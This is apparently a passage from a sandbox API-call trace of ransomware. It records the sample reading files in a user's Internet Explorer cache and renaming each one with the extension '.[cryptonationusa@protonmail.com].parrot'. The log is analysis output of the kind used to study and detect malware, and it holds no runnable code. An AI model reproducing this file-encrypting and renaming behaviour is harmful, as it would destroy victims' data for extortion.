files\\low\\content.ie5\\yg1r61z8\\bbc0g7a[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0083.427] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0083.427] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0083.429] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.429] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x82f, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x82f, lpOverlapped=0x0) returned 1 [0083.429] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.430] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0lf2[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc0lf2[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0lf2[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc0lf2[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0083.436] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0083.436] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0083.437] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.437] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1afe, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x1afe, lpOverlapped=0x0) returned 1 [0083.438] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.438] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0mK1[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc0mk1[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0mK1[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc0mk1[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0083.442] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0083.442] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0083.443] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.444] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1fc3, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x1fc3, lpOverlapped=0x0) returned 1 [0083.444] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.445] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0qlB[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc0qlb[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0qlB[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc0qlb[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0083.448] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0083.448] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0083.450] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.450] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2ecb, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x2ecb, lpOverlapped=0x0) returned 1 [0083.451] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.463] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE7KPZ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbe7kpz[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE7KPZ[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbe7kpz[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0083.467] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0083.467] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0083.520] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.520] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x9c5, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x9c5, lpOverlapped=0x0) returned 1 [0083.521] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.521] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE8IlA[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbe8ila[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE8IlA[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbe8ila[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0083.526] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0083.526] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0083.528] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.528] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2669, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x2669, lpOverlapped=0x0) returned 1 [0083.531] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.532] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE972F[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbe972f[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE972F[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbe972f[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0083.537] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0083.537] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0083.539] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.539] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2a77, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x2a77, lpOverlapped=0x0) returned 1 [0083.552] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.553] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE9tdx[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbe9tdx[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE9tdx[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbe9tdx[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0083.558] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0083.558] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0083.668] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.668] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2fe3, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x2fe3, lpOverlapped=0x0) returned 1 [0083.685] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.727] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEdrqt[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbedrqt[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEdrqt[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbedrqt[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0083.732] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0083.732] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0083.733] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.734] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x857, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x857, lpOverlapped=0x0) returned 1 [0083.734] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.734] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeEwt[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbeeewt[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeEwt[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbeeewt[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0083.738] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0083.738] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0083.739] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.740] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x7d9, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x7d9, lpOverlapped=0x0) returned 1 [0083.740] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.740] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeis3[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbeeis3[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeis3[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbeeis3[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0083.742] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9260 | out: hHeap=0x5b0000) returned 1 [0083.742] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0083.742] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2237058 | out: hHeap=0x5b0000) returned 1 [0083.743] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0083.743] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0083.745] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.745] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x8c5, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x8c5, lpOverlapped=0x0) returned 1 [0083.745] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.745] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeKvV[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbeekvv[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeKvV[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbeekvv[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0083.746] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9260 | out: hHeap=0x5b0000) returned 1 [0083.746] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0083.746] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2237930 | out: hHeap=0x5b0000) returned 1 [0083.748] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0083.748] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0083.750] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.750] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xef00, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0xef00, lpOverlapped=0x0) returned 1 [0083.753] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.755] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeNd8[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbeend8[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeNd8[1].png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbeend8[1].png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0083.756] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9260 | out: hHeap=0x5b0000) returned 1 [0083.756] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0083.756] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x224af70 | out: hHeap=0x5b0000) returned 1 [0083.766] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0083.766] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0083.848] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.848] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x3323, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x3323, lpOverlapped=0x0) returned 1 [0083.870] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.871] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEewZB[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbeewzb[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEewZB[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbeewzb[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0083.873] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9260 | out: hHeap=0x5b0000) returned 1 [0083.873] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0083.873] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x223a0d8 | out: hHeap=0x5b0000) returned 1 [0083.876] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0083.876] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0083.878] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.878] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x9d7, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x9d7, lpOverlapped=0x0) returned 1 [0083.879] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.879] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeZ0k[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbeez0k[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary 